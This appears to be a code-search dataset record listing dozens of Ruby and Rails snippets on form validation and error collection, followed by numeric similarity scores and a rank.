self.legend[:region].blank?\n end\n end", "def empty?\n @errors.empty?\n end", "def empty?\n @errors.empty?\n end", "def empty?\n @errors.empty?\n end", "def form_errors\n if respond_to?(:flash)\n flash[:form_errors] ||= {}\n else\n @form_errors ||= {}\n end\n end", "def empty?\n @errors.empty?\n end", "def set_errors\n \t@errors = []\n\n \tif self.title == \"\"\n \t@errors << \"Title cannot be blank\"\n \tend\n\n if self.user_id == nil\n @errors << \"Must assign to a user\"\n end\n\n if self.category_id == nil\n @errors << \"Must assign to a category\"\n end\n \tend", "def prepare_to_save\n errors.add(:base, :has_already_been_submitted) && (return false) if @already_submitted\n @already_submitted = true\n end", "def extra_validations\n success\n end", "def validation_errors(reset = false)\n self.errors = [] if reset\n self.errors\n end", "def has_errors\n !@errors.blank?\n end", "def submit_all_blank_and_validate\n blank_dates\n click_on 'Add'\n validate_fields(@fields)\n end", "def validate_fields\n @edit[:wf].get_dialog_order.each do |d|\n @edit[:wf].get_all_fields(d, false).each_value do |field|\n if field[:error].present?\n @error_div ||= d.to_s\n add_flash(field[:error], :error)\n end\n end\n end\n end", "def reset_errors!\n @errors = []\n end", "def reset_errors!\n @errors = []\n end", "def validate\n # add errors if not validate\n end", "def errors_for(o);\n mab do\n ul.errors { o.errors.each_full { |er| li er } }\n end if o.errors.any?\n end", "def reset_errors!\n @errors = []\n self\n end", "def update_errors\n @errors = []\n @errors << 'Expiration date is a required field' unless expiration_date\n @errors << 'Expiration Date is not a valid date' unless expiration_date.is_a? Date\n @errors << 'Card type is a required field' unless card_type\n @errors << 'Card type is not supported' unless check_card_type\n @errors << 'Card number is not valid' unless card_number_valid?\n @errors\n end", "def valid?\n super\n errors.empty?\n end", "def errors\n {}\n end", "def bonsai_form_error(f)\n unless f.object.errors.empty?\n html = content_tag('h4', 'Exiten errores en el formulario')\n unless f.object.errors[:base].empty?\n html << \"<dl>#{ f.object.errors[:base].inject(\"\") { |t, v| t << \"<dd>#{v}</dd>\" } }</dl>\".html_safe\n end\n \"<div class='alert alert-error'>#{ html }</div>\".html_safe\n end\n end", "def errors\n run_validation\n @errors\n end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def valid?\n errors.blank?\n end", "def errors\n validate_or_get_results :errors\n end", "def errors\n errors = []\n unless @method_name.present?\n errors << \"method_name is not set\"\n end\n unless @service_name.present?\n errors << \"service_name is not set\"\n end\n unless @server_address.present?\n errors << \"server_address is not set\"\n end\n errors\n end", "def redirect_to_new_costume_form_if_required_fields_empty\n redirect_to new_dance_studio_costume_path(current_user.id), danger: 'Must fill out Dance Season & Song Name AND select at least 1 dancer w/ costume size & costume condition' if @dance_season_empty || @song_name_empty\n end", "def field_validation_errors\n errors = field_validation_error_elements.map { |e| e.text.downcase }.reject { |e| e.empty? }\n exclude = \"Please fill the required fields.\"\n\n if errors.include?(exclude)\n errors.delete(exclude)\n end\n\n errors\n end", "def redirect_to_assign_costume_form_if_required_fields_empty\n if @costume.costume_assignments.empty?\n redirect_to assign_costume_path(@costume), danger: 'Assignment failure: Must fill out Dance Season & Song Name AND select at least 1 dancer w/ costume size & costume condition' if @dance_season_empty || @song_name_empty\n else # if costume has been previously assigned\n redirect_to assign_costume_path(@costume, season: @costume.costume_assignments.last.dance_season), danger: 'Assignment failure: Must fill out Dance Season & Song Name AND select at least 1 dancer w/ costume size & costume condition' if @dance_season_empty || @song_name_empty\n end\n end", "def check_submit_valid\n begin\n if params[:status][:source].length > \n JS_CONFIG[\"limits\"][\"max_source_code_len\"]\n raise t(\"status.prompts.source_code_too_long\") \n end\n begin\n @problem = Problem.find(params[:status][:pid])\n rescue\n raise t(\"problem.prompts.nonexist\")\n end\n if params[:status][:contest_belong].to_i == 0 &&\n @problem.hide && !current_user.is_admin?\n raise t(\"problem.prompts.nonexist\")\n else\n begin\n @contest = Contest.find(params[:status][:contest_belong].to_i)\n rescue\n raise t(\"contest.prompts.nonexist\")\n end\n unless @contest.has_user(current_user.username)\n raise t(\"global.prompts.access_denied\");\n end\n if ContestProblem.where(\n cid: params[:status][:contest_belong].to_i,\n pid: params[:status][:pid].to_i).empty?\n raise t(\"problem.prompts.nonexist\")\n end\n end\n raise t(\"status.prompts.language_unspecified\") if \n params[:status][:language].to_i == 0\n last_status = Status.where(username: current_user.username)\n .order(time_submit: :desc).first\n raise t(\"global.prompts.too_frequent\") if\n Time.now - last_status.time_submit < 5\n rescue Exception => e\n render status: :not_acceptable, json: { msg: e.message }\n return\n end\n end", "def clear_errors!\n @errors = []\n end", "def valid?\r\n errors.empty?\r\n end", "def valid?\r\n errors.empty?\r\n end", "def errors\n super.tap do |errors|\n errors.add(:'user.email', 'is invalid') if errors[:'user.email'].empty?\n end\n end", "def check_form_inputs(source=@contents)\n\t\t\tforms = source.css(\"form\")\n\t\t\terror_messages = []\n\t\t\tforms.each do |form|\n\t\t\t\tinput_fields = form.css(\"input\").select {|field| field.attr('type') == 'submit' || field.attr('type') == 'reset' || field.attr('type') == 'button' }\n\t\t\t\tlabels = form.css(\"label\")\n\n\t\t\t\tinput_fields.each do |field|\n\t\t\t\t\tvalue_present = field.attr('value') != nil and field.attr('value') != \"\"\n\t\t\t\t\tlabel_absent = (labels.select {|label| label['for'].to_s == field.attr('id').to_s }.size) < 1\n\t\t\t\t\terror_messages.push(\"Line #{field.line}: Missing value attribute/label present for input element with id/name: \" + (field.attr('id').to_s || field.attr('name') || \"\")) unless(value_present and label_absent)\n\t\t\t\tend\n\t\t\tend\n\t\t\terror_messages\n\t\tend", "def not_errored?\n errors.values.map(&:empty?).reduce(true, &:&) == true\n end", "def form_errors\n return '' if errors.empty?\n\n messages = errors.full_messages.map { |msg| content_tag(:li, msg) }.join\n sentence = I18n.t('errors.messages.not_saved',\n count: errors.count,\n resource: self.class.model_name.human.downcase)\n\n html = <<-HTML\n <div id='errors' class='alert alert-danger left'>\n <p class='bold'>#{sentence}</p>\n <ul>#{messages}</ul>\n </div>\n HTML\n\n html.html_safe\n end", "def form_errors(errors)\n @form_config.form_errors = errors\n return unless errors && errors[:base_with_highlights]\n\n Array(errors[:base_with_highlights][:highlights]).each do |field|\n @form_config.form_errors[field] ||= []\n @form_config.form_errors[field] << nil\n end\n end", "def errors\n @errors ||= []\n end", "def empty_trap_required\n is_human = true\n params.slice(*TheCommentsBase.config.empty_inputs).values.each{|v| is_human = (is_human && v.blank?) }\n\n if !is_human\n k = t('the_comments.trap')\n v = t('the_comments.trap_message')\n @errors[ k ] = [ v ]\n end\n end", "def valida_titulo\n errors.add_to_base 'avisotitulo' if tituloes.blank? and titulofr.blank? \nend", "def errors_made\n errors.length\n end", "def error_first(errors) #:nodoc:\n template.content_tag(:p, errors.first.untaint, :class => 'inline-errors')\n end", "def validate_elements\n errors = []\n self.custom_form_elements.each do |element|\n errors << element unless element.valid?\n end\n\n self.errors.add(:custom_form_elements, \"Errors were detected in the elements of this form\") if errors.length > 0\n return errors.length == 0\n end", "def errors\n @errors ||= []\n end", "def errors\n @errors ||= []\n end", "def validate!\n required_attributes.each do |attribute|\n if form_data[attribute].nil? || form_data[attribute].empty?\n raise Adyen::REST::RequestValidationFailed, \"#{attribute} is empty, but required!\"\n end\n end\n end", "def check_requests\n if requests.empty?\n errors.add('requests', 'there were no requests')\n return\n end\n\n requests.each do |request|\n next if request.valid?\n\n request.errors.each do |k, v|\n errors.add(k, v)\n end\n end\n end", "def must_fill_all_fields(surfboard)\n \t\tif surfboard.surfboard_owner != current_user || !form_is_filled?\n \t\t\tflash[:errors] = \"All fields must be filled.\"\n \t\t\tredirect \"/surfboards/#{@surfboard.id}/edit\"\n \t\tend\n \tend", "def errors\n @errors ||= []\n end", "def errors\n @errors ||= []\n end", "def errors\n @errors || []\n end", "def clear\n @errors.clear\n end", "def errors\n @validator ? @validator.errors : []\n end", "def submission_errors\n execution_errors.select do |execution_error|\n true if execution_error.has_attribute?('validator_type') && execution_error[:validator_type] == :submission_validation\n end\n end", "def ok?\n errors.empty?\n end", "def errors\n result = []\n result.push(:title) unless valid_string? @title\n result.push(:author) unless valid_string? @author\n result.push(:release_date) unless valid_date? @release_date\n result.push(:publisher) unless valid_string? @publisher\n result.push(:isbn) unless valid_integer? @isbn\n result\n end", "def errors?\n !errors.empty?\n end", "def errors\n @errors ||= []\n end", "def valid?\n errors.empty?\n end", "def valid?\n errors.empty?\n end", "def valid?\n errors.empty?\n end", "def valid?\n errors.empty?\n end", "def prepend_errors_for(resource)\n select(:errors_for, resource).remove()\n select(:form_for, resource).prepend errors_for(resource)\n end", "def validate\n errors.add_to_base \"Enter atleast one product\" if items.empty?\n end", "def redirect_to_new_costume_form_if_assignment_incomplete\n redirect_to_new_costume_form(danger: 'Must select at least 1 dancer w/ costume size & costume condition') if @costume.costume_assignments.empty?\n end", "def contact_errors\n error \"name\"\n error \"age\"\n error \"homepage\"\n end", "def validate_fields\n %w[email author].each do |field|\n value = self.send(field)\n abort \"Hoe #{field} value not set. aborting\" if value.nil? or value.empty?\n end\n end", "def check_form_labels(source=@contents)\n forms = source.css(\"form\")\n error_messages = []\n\t\t\tforms.each do |form|\n\t\t\t\tlabels = form.css(\"label\")\n\t\t\t\tform_fields = []\n\t\t\t\t%w{input select textarea button}.each do |element|\n\t\t\t\t\telement_fields = form.css(element)\n\t\t\t\t\tform_fields << form.css(element) unless element_fields.empty?\n\t\t\t\tend\n\t\t\t\tform_fields.flatten!\n\t\t\t\tform_fields.reject! {|field| field.attr('type') == 'submit' || field.attr('type') == 'reset' || field.attr('type') == 'button' }\n\t\t\t\t\n\t\t\t\tform_fields.each do |field|\n\t\t\t\t\tid = field.attr('id')\n\t\t\t\t\terror_messages.push(\"Line #{field.line}: Missing label for form field with id/name: \" + (id || field.attr('name') || \"\")) if (labels.select {|label| label['for'].to_s == id.to_s }.size < 1)\n\t\t\t\tend\n\t\t\tend\n error_messages\n\t\tend", "def valid?\n fetch { errors.empty? }\n end", "def invalid?\n !@errors.empty?\n end", "def error\n errors.first\n end", "def error\n errors.first\n end", "def errors?\n @errors.size > 0\n end", "def errors\n @_errors ||= {}\n @_errors\n end", "def validate!\n raise BadRequestError.new(self.errors.full_messages.uniq.join(', ')) unless valid?\n end", "def validate!\n raise BadRequestError.new(self.errors.full_messages.uniq.join(', ')) unless valid?\n end", "def errors\n @errors ||= {}\n end", "def required_fields\n if self.controller_name == \"registrations\"\n param_name = \"user\"\n elsif self.controller_name == \"merchants\"\n param_name = \"merchant\"\n else\n return\n end\n empty_fields = Array.new\n empty = false\n params[param_name].each_pair do |k, v|\n if v == \"\"\n empty_fields << k.gsub(\"_\", \" \")\n empty = true\n end\n end\n if empty == true\n (0..empty_fields.length - 3).each do |i|\n empty_fields[i] << \",\"\n end\n empty_fields.insert(-2, \"and\") unless empty_fields.length < 2\n field_list = empty_fields.join(\" \")\n message = \"You cannot leave empty fields. The field\" \n if empty_fields.length > 1\n message << \"s \"\n else\n message << \" \"\n end\n message << field_list \n if empty_fields.length > 1\n message << \" were left blank.\"\n else\n message << \" was left blank.\"\n end\n flash[:notice] = message\n redirect_to request.referrer\n else\n return\n end\n end", "def remove_duplicate_errors\n self.errors.flatten!\n self.errors.uniq!\n end", "def errors\n errors = []\n required_fields.each do |attrib|\n errors << attrib unless self.send(attrib)\n end\n\n self.each do |k, v|\n if v.nil? || v.to_s.empty?\n errors << k\n end\n end\n\n unless has_connection_fields?\n connection_errors = []\n\n connection_fields.each do |attrib|\n connection_errors << attrib unless self.send(attrib)\n end\n\n errors += connection_errors\n end\n\n errors\n end", "def validate\n unless (e = errors).empty?\n raise InvalidRequestError, e.first\n end\n end", "def form_errors(form)\n render \"shared/form_errors\", :f => form\n end", "def errors?\n @errors.size > 0\n end", "def errors\n self.class.validator.call self\n end", "def clear\n @errors = {}\n end", "def errors=(_); end", "def clear_message\n errors.clear\n end" ]
[ "0.65186554", "0.64190537", "0.63627654", "0.6315276", "0.6284908", "0.6279437", "0.6279437", "0.6270145", "0.6260721", "0.62536794", "0.6252884", "0.619959", "0.61974233", "0.6162661", "0.6144355", "0.61429155", "0.61353093", "0.6115656", "0.6115656", "0.6064904", "0.60197014", "0.6003856", "0.59693944", "0.59680295", "0.5939346", "0.5921856", "0.5909908", "0.58984447", "0.58984447", "0.58984447", "0.58984447", "0.58984447", "0.58984447", "0.58984447", "0.58984447", "0.58984447", "0.5891565", "0.5885822", "0.5884578", "0.5883683", "0.5869827", "0.58659065", "0.58630973", "0.5853581", "0.58396655", "0.58396655", "0.58312863", "0.58245206", "0.58232015", "0.5822302", "0.5819964", "0.5813906", "0.58127034", "0.5810492", "0.5796392", "0.579437", "0.57939464", "0.5789906", "0.5789906", "0.57733953", "0.57724977", "0.5769472", "0.5760799", "0.5760799", "0.57555836", "0.5752674", "0.5745973", "0.57407796", "0.57396597", "0.57377833", "0.5727436", "0.57253385", "0.5724151", "0.5724151", "0.5724151", "0.5724151", "0.5719429", "0.5716562", "0.5708006", "0.5694228", "0.56875736", "0.5678092", "0.56706846", "0.56672823", "0.5660463", "0.5660463", "0.5645408", "0.5644757", "0.56436515", "0.56436515", "0.56425977", "0.56384444", "0.5623268", "0.56117743", "0.5603839", "0.56024736", "0.55976754", "0.5594836", "0.55903673", "0.5584013", "0.5582574" ]
0.0
-1
Second set of errors when first set of boxes are populated
def first_name_error_present? wait_for(5) { displayed?(FIRST_NAME_ERROR) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate_fields\n @edit[:wf].get_dialog_order.each do |d|\n @edit[:wf].get_all_fields(d, false).each_value do |field|\n if field[:error].present?\n @error_div ||= d.to_s\n add_flash(field[:error], :error)\n end\n end\n end\n end", "def check_errors\n unless self.valid?\n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n end\n \n documents.each {|obj| obj.check_errors } \n \n invalids = (texts).reject {|obj| obj.valid? } \n bigmessage = invalids.map { |obj| obj.errors.full_messages.join \"\\n\" }.join \"\\n\"\n raise bigmessage unless bigmessage.empty?\n\n invalids = (audios ).reject {|obj| obj.valid? } \n bigmessage = invalids.map { |obj| obj.errors.full_messages.join \"\\n\" }.join \"\\n\"\n raise bigmessage unless bigmessage.empty?\n\n invalids = (images ).reject {|obj| obj.valid? } \n bigmessage = invalids.map { |obj| obj.errors.full_messages.join \"\\n\" }.join \"\\n\"\n raise bigmessage unless bigmessage.empty? \n \n object_formats.each {|obj| obj.check_errors } \n end", "def check_errors\n unless self.valid?\n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n end\n \n documents.each {|obj| obj.check_errors } \n \n invalids = (texts).reject {|obj| obj.valid? } \n bigmessage = invalids.map { |obj| obj.errors.full_messages.join \"\\n\" }.join \"\\n\"\n raise bigmessage unless bigmessage.empty?\n\n invalids = (audios ).reject {|obj| obj.valid? } \n bigmessage = invalids.map { |obj| obj.errors.full_messages.join \"\\n\" }.join \"\\n\"\n raise bigmessage unless bigmessage.empty?\n\n invalids = (images ).reject {|obj| obj.valid? } \n bigmessage = invalids.map { |obj| obj.errors.full_messages.join \"\\n\" }.join \"\\n\"\n raise bigmessage unless bigmessage.empty? \n \n object_formats.each {|obj| obj.check_errors } \n end", "def additional_controls # \n if kats.nil? or kats.size == 0\n# errors.add('kats', 'At least one category should be selected!')\n end\n if text_over\n errors.add('css_over', 'helpers.help.rotator.css_over_error') if css_over.blank?\n errors.add('picture', 'helpers.help.rotator.picture_error') if picture.blank?\n end\nend", "def errors_for(o);\n mab do\n ul.errors { o.errors.each_full { |er| li er } }\n end if o.errors.any?\n end", "def update_errors\n @errors = []\n @errors << 'One of the cards needs attention' unless cards.all?(&:valid?)\n if email\n @errors << 'Email is not in correct format' unless email_well_formed?\n else\n @errors << 'Email is a required field'\n end\n @errors << 'Wallet token is a required field' unless wallet_token\n @errors\n end", "def assert_validation_errors_on(ar, fields)\n\t\tvalidation_error_check_discrepancies(ar, fields)\n\t\t# check that the page content has the validation errors box,\n\t\t# and the expected number of error items in it\n\t\tassert_select 'div#errorExplanation' do\n\t\t\tassert_select 'li', :count=>ar.errors.length\n\t\tend\n\tend", "def step_validation\n step_index = form_steps[:pages].index(form_step)\n\n if self.form_steps[:pages].index('title') <= step_index\n self.errors['name'] << 'You must enter a name for the dataset' if self.name.blank? || self.name.strip.blank?\n end\n\n if self.form_steps[:pages].index('connector') <= step_index\n self.errors['type'] << 'You must enter a connector type' unless CONNECTOR_TYPES.include? self.type\n self.errors['provider'] << 'You must enter a connector provider' unless CONNECTOR_PROVIDERS.include? self.provider\n self.errors['connector_url'] << 'You must enter a valid url' \\\n unless self.connector_url && !self.connector_url.blank? && valid_url?(self.connector_url)\n end\n\n if self.form_steps[:pages].index('labels') <= step_index\n unless self.legend && self.legend.is_a?(Hash)\n self.errors['legend'] << 'Labels not correctly defined'\n return\n end\n self.errors['legend'] << 'Latitude and Longitude have to be filled together' if\n self.legend[:lat].blank? ^ self.legend[:long].blank?\n self.errors['legend'] << 'Country and Region have to be filled together' if\n self.legend[:country].blank? ^ self.legend[:region].blank?\n end\n end", "def validate_errors validation_errors\n error_tests= {:type=>\"TYPE\", :cardinality=>\"CARDINALITY\", :meta_wrapper=> \"METAWRAPPER\"}\n\n # make sure everything that produced an error was marked appropriately\n validation_errors.each_pair do |name, errs|\n if []== errs then\n assert( name.to_s=~/OK/, \"expected naming 'OK': \\n#{errs.inspect}\")\n else\n assert( !(name.to_s=~/OK/), \"unexpected naming 'OK': \\n#{name} : #{errs.inspect}\")\n errs.each do |er|\n assert_equal Hash, er.class, er.inspect\n assert name == er[:name], er.inspect\n ert= er[:error]\n if error_tests[ert]\n naming_excerpt= error_tests[ert]\t\n assert name.to_s=~/#{naming_excerpt}/, \n \"expected naming_excerpt #{naming_excerpt}: \\n#{er.inspect}\"\n else\n flunk \"unknown error '#{er[:error]}' - #{er.inspect}\"\n end\n end\n # make sure if the name contains an err string then the err is in the array with the same name\n error_tests.each_pair do|ert,naming_excerpt|\n if name.to_s=~/#{naming_excerpt}/ then\n have_this_error_with_name= errs.select{ |er| er[:error]==ert }\n assert( have_this_error_with_name.length>0, \n \"should have an error of '#{ert}' in #{errs.inspect}\\n\" \\\n \"errs:\\n#{errs.report_rmof_errors}\")\n end\n end\n end\n end\n end", "def run_checks\n bad_refs(qtag_count) do |qt|\n yield Error.new(survey, Question, :bad_ref, qt, qtag_expectations[qt])\n end\n\n bad_refs(atag_count) do |qt, at|\n yield Error.new(survey, Answer, :bad_ref, at, atag_expectations[[qt, at]])\n end\n\n bad_refs(ctag_count) do |c, tag|\n yield Error.new(survey, Condition, :bad_ref, tag, c)\n end\n\n by_qref.select { |k, v| v.length > 1 }.each do |k, vs|\n yield Error.new(survey, Question, :duplicate_qref, k, vs)\n end\n end", "def assert_error_explains_for(attrs_and_validations = {})\n assert_select '#error_explanation' do\n attrs_and_validations.each do |attr, validaton_messages|\n [*validaton_messages].each do |validation_message|\n message = error_message_for(validation_message)\n assert_select 'li', \"#{attr.to_s.humanize} #{message}\"\n end\n end\n end\n end", "def render_errors_for object\n render_alert_box_for object if object.errors.any?\n end", "def assert_three_main_boxes\r\n\r\n tool_resources = @driver.find_element(:css => '.widget-box.edge-frame.purple')\r\n assert_not_nil(tool_resources, 'Not Found - Tool & Resources box')\r\n\r\n members = @driver.find_element(:css => '.widget-box.edge-frame.darkgreen')\r\n assert_not_nil(members, 'Not Found - Members box')\r\n\r\n news = @driver.find_element(:css => '.widget-box.edge-frame.orange')\r\n assert_not_nil(news, 'Not Found - News box')\r\n\r\n end", "def set_errors\n \t@errors = []\n\n \tif self.title == \"\"\n \t@errors << \"Title cannot be blank\"\n \tend\n\n if self.user_id == nil\n @errors << \"Must assign to a user\"\n end\n\n if self.category_id == nil\n @errors << \"Must assign to a category\"\n end\n \tend", "def oob_errors(cmd)\n errors = search_for(:init).to_h.slice(:rows, :columns).map do |dimension, max_dimension|\n # Cheap singularize.\n dimension_attribute = dimension.to_s.chop.to_sym\n cmd.to_h.map do |cmd_attribute, value|\n begin\n next unless cmd_attribute.to_s.include?(dimension_attribute.to_s)\n Colors::Boundaries.check(cmd_attribute, value, max: max_dimension)\n rescue ArgumentError => e\n e.message + \" (L:#{cmd.line})\"\n end\n end.compact\n end.flatten\n { errors: errors } unless errors.empty?\n end", "def error\n @top_spinner.error if @top_spinner\n @spinners.dup.each(&:error)\n emit :error\n end", "def field_validation_error_elements\n #divs(xpath: './/div[contains(@class, \"invalid\") or (contains(@class, \"error\"))]')\n elements(xpath: './/span[contains(@class, \"invalid\")] | .//div[contains(@class, \"invalid\") or (contains(@class, \"error \")) or (contains(@class, \"message-warn\"))]')\n end", "def build_model_errors(model, errors)\n return if errors.blank?\n\n model.errors.clear\n errors.each do |err_attr|\n next if err_attr.blank?\n\n # Note lowercase the first letter as some section names have upper case first which does not\n # work with the current message\n err_attr[0] = err_attr[0].downcase\n model.errors.add(:base, :section_not_complete, attr: err_attr)\n end\n end", "def set_errors\n @errors = []\n\n if self.name == nil || self.name == \"\"\n @errors << \"Name cannot be blank.\"\n end\n if self.username == nil || self.username == \"\"\n @errors << \"Username cannot be blank.\"\n end\n if self.email == nil || self.email == \"\"\n @errors << \"Email cannot be blank.\"\n end\n if self.password == nil || self.password == \"\"\n @errors << \"Password cannot be blank.\"\n end\n if self.budget == nil || self.budget == \"\"\n @errors << \"Budget cannot be blank.\"\n end\n end", "def do_it\n\t\tif @type == \"multiple_answer_error\"\n\t\t\tthen puts \"Error: Item #{@holder} raised #{@type} in #{@method}\"\n\t\telsif @type == \"not_found_error\"\n\t\t\tthen puts \"Error: #{@holder} was #{@type} in #{@method}\"\n\t\telse puts \"Error: Have been given an unknown error type: #{@type}\"\n\t\tend\n\tend", "def contact_errors\n error \"name\"\n error \"age\"\n error \"homepage\"\n end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def fake_error_holdings\n fake_holding = Holding.new\n fake_holding.collection.display_label = \"Error fetching holdings!\"\n return [fake_holding]\n end", "def validate\n\n entireSet = Set.new([1, 2, 3, 4, 5, 6, 7, 8, 9])\n\n @rows = []\n 9.times { @rows.push(entireSet.dup) }\n\n @cols = []\n 9.times { @cols.push(entireSet.dup) }\n\n @box = []\n 3.times do\n subrow = []\n 3.times { subrow.push(entireSet.dup) }\n @box.push(subrow)\n end\n\n (0..8).each do |i|\n (0..8).each do |j|\n v = @grid[i,j]\n if v > 0\n raise \"dup number in row #{i} : #{v}\" unless @rows[i].delete?(v)\n raise \"dup number in column #{j} : #{v}\" unless @cols[j].delete?(v)\n raise \"dup number in box #{i/3}-#{j/3} : #{v}\" unless @box[i/3][j/3].delete?(v)\n end\n end\n end\n\n @poss = []\n @poss_grid = []\n (0..8).each do |i|\n poss_row = []\n (0..8).each do |j|\n if @grid[i,j] == 0 then\n p = Poss.new(i, j, @rows[i], @cols[j], @box[i/3][j/3])\n @poss.push(p)\n poss_row.push(p.to_a)\n else\n poss_row.push([])\n end\n end\n @poss_grid.push(poss_row)\n end\n @poss.sort! { |x, y| x.length <=> y.length }\n\n end", "def check_errors\n unless valid? \n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n \n raise \"format should not be nil\" if format.nil?\n raise \"invalid format #{format}\" unless format.valid? \n raise \"#{self.errors.to_a}, error encountered while saving #{@datafile_id}, #{@bitstream_id} \" \n end\n end", "def update_errors\n @errors = []\n @errors << 'Expiration date is a required field' unless expiration_date\n @errors << 'Expiration Date is not a valid date' unless expiration_date.is_a? Date\n @errors << 'Card type is a required field' unless card_type\n @errors << 'Card type is not supported' unless check_card_type\n @errors << 'Card number is not valid' unless card_number_valid?\n @errors\n end", "def test_NewQuestionSetsErrors\n randomName = SecureRandom.hex(4)\n \n #PRECONDITION: Must be logged in\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n \n # 1 - Go to \"Question Sets\" Tab\n Common.goToTab(HomePage::QUESTION_SETS_LINK_XPATH)\n \n test = [\n {\"displayed\" => QuestionSetsHomePage::QUESTION_SETS_HOME_BTN_NEW_XPATH},\n # 2 - Click on New button \n {\"click_and_load\" => QuestionSetsHomePage::QUESTION_SETS_HOME_BTN_NEW_XPATH},\n {\"displayed\" => QuestionSetsNew::QUESTION_SETS_NEW_BTN_SAVE_XPATH},\n # 4 - Click on \"Save\" button \n {\"click_and_load\" => QuestionSetsNew::QUESTION_SETS_NEW_BTN_SAVE_XPATH},\n ]\n Common.main(test)\n \n #RESULT\n assert $wait.until{\n $browser.find_element(:xpath => QuestionSetsNew::ERROR_NAME_QUESTION_SETS_NEW_XPATH).displayed?\n $browser.find_element(:xpath => QuestionSetsNew::ERROR_NAME_QUESTION_SETS_NEW_XPATH).text == QuestionSetsNew::ERROR_NAME_QUESTION_SETS_NEW_TEXT\n }\n \n # 5 - Fill all the required fields\n $browser.find_element(:id => QuestionSetsNew::QUESTION_SETS_NEW_NAME_ID).send_keys randomName\n \n # 6 - Enter invalid value into number fields (\"Passing Score\").\n $browser.find_element(:xpath => QuestionSetsNew::QUESTIONS_SETS_NEW_PASSING_SCORE_XPATH).send_keys QuestionSetsNew::QUESTION_SETS_PASSING_SCORE_INVALID_TEXT\n \n # 7 - Click on \"Save\" button\n $browser.find_element(:xpath => QuestionSetsNew::QUESTION_SETS_NEW_BTN_SAVE_XPATH).click\n \n $wait.until{\n $browser.find_element(:xpath => QuestionSetsNew::ERROR_NUMBER_QUESTION_SETS_NEW_XPATH).displayed?\n }\n \n #RESULT\n assert_equal($browser.find_element(:xpath => QuestionSetsNew::ERROR_NUMBER_QUESTION_SETS_NEW_XPATH).text, QuestionSetsNew::ERROR_NUMBER_QUESTION_SETS_NEW_TEXT) \n \n end", "def test_create_failure\n post :new, :appellation => { :name => \"\",\n :apptype_id => 1 }\n assert_response :success #success of HTTP, not success of create process\n assert_template \"new\"\n #test display of error messages\n assert_tag \"div\", :attributes => { :id => \"errorExplanation\",\n :class => \"errorExplanation\"}\n #test that each form field has at least one error diplayed\n assert_tag \"li\", :content => /Name/\n \n #test to see that the input fields are being wrapped with the correct div\n error_div = { :tag => \"div\", :attributes => { :class => \"fieldWithErrors\"}}\n \n assert_tag \"input\",\n :attributes => { :name => \"appellation[name]\",\n :value => \"\"},\n :parent => error_div\n end", "def check_errors;\n end", "def show_error\n yield(@source, @index_1, @length_1, @index_2, @length_2)\n end", "def show_errors\n hash = { id: \"errors\" }\n hash[:style] = \"display: none;\" if errors.empty?\n build_html do\n section hash do\n h3 \"Errors:\"\n ul do\n errors.each do |msg|\n li msg\n end\n end\n end\n end\n end", "def invalid_items\n items.select { |item| item.errors.present? }\n end", "def input_error_messages(input_ary)\n if correct_color_input?(input_ary, COLORS) == false\n error_wrong_input_values\n elsif correct_input_size?(input_ary, 4) == false\n error_wrong_input_size\n end\n end", "def extra_validations\n success\n end", "def error_messages\n element(:errors) do |b|\n errs = []\n b.left_errmsg_tabs.each do |div|\n if div.div.div.exist?\n errs << div.div.divs.collect{ |div| div.text }\n elsif div.li.exist?\n errs << div.lis.collect{ |li| li.text }\n end\n end\n errs.flatten\n end\n element(:left_errmsg_tabs) { |b| b.frm.divs(class: 'left-errmsg-tab') }\n end", "def test_create_failure\n post :new, :grape => { :name => \"\", }\n assert_response :success #success of HTTP, not success of registration process\n assert_template \"new\"\n #test display of error messages\n assert_tag \"div\", :attributes => { :id => \"errorExplanation\",\n :class => \"errorExplanation\"}\n #test that each form field has at least one error diplayed\n assert_tag \"li\", :content => /Name/\n \n #test to see that the input fields are being wrapped with the correct div\n error_div = { :tag => \"div\", :attributes => { :class => \"fieldWithErrors\"}}\n \n assert_tag \"input\",\n :attributes => { :name => \"grape[name]\",\n :value => \"\"},\n :parent => error_div\n end", "def error_check\n if @number_of_players.to_i * @number_of_cards.to_i > Deck::CARD_COUNT\n error_message\n input_players\n else\n get_player_names\n end\nend", "def validate_parts_presence!(grid_infos, part_uids)\n if grid_infos.count != part_uids.count\n raise Tus::Error, \"some parts for concatenation are missing\"\n end\n end", "def error_messages_for(object_name)\n object = instance_variable_get(\"@#{object_name}\") \n if object\n msg = \"\" \n puts \"================\"\n puts object.errors.inspect\n object.errors.each do | attr, msg| \n msg = content_tag(:p, Column[attr]+msg) \n break\n end \n end \n content_tag(:div, msg, :id => \"errorExplanation\") unless msg.blank?\n end", "def second_validate\n across_req_bound = Array.new((2 * (self.across) + 1),1)\n down_req_bound = Array.new((2 * (self.down) + 1),1)\n top_bound = self.plane[0]\n down_bound = self.plane[2 * (self.down)]\n left_bound = self.plane.map{|a| a[0]}\n right_bound = self.plane.map{|a| a[2 * (self.across)]}\n if(top_bound != across_req_bound || down_bound != across_req_bound ||left_bound != down_req_bound || right_bound != down_req_bound)\n puts \"One of the boundaries is not closed\"\n self.valid = false\n end\n cell_validate if(self.valid == true)\n end", "def check_for_errors\n return unless @chunks.any? { |chunk| chunk.first[0] == :error }\n errors = @chunks.find_all { |chunk| chunk[0] == :error }\n $stderr.puts \"WARNING: found the following errors: #{errors.map(&last).inspect}\"\n end", "def check_service_and_buildings_present\n errors.add(:base, :services_incomplete) unless services_status == :completed\n errors.add(:base, :buildings_incomplete) unless buildings_status == :completed\n end", "def error_first(errors) #:nodoc:\n template.content_tag(:p, errors.first.untaint, :class => 'inline-errors')\n end", "def show_errors_if_any(form)\n form.semantic_errors(*form.object.errors.keys)\n end", "def errors(options={}, &block)\n unless @object.errors.empty?\n wrapper = options.delete(:wrap) || error_list_wrapper\n add_class!(options, error_list_class)\n \n out = @object.errors.collect { |field, message|\n @template.capture(field, message, &block)\n } * \"\\n\"\n \n 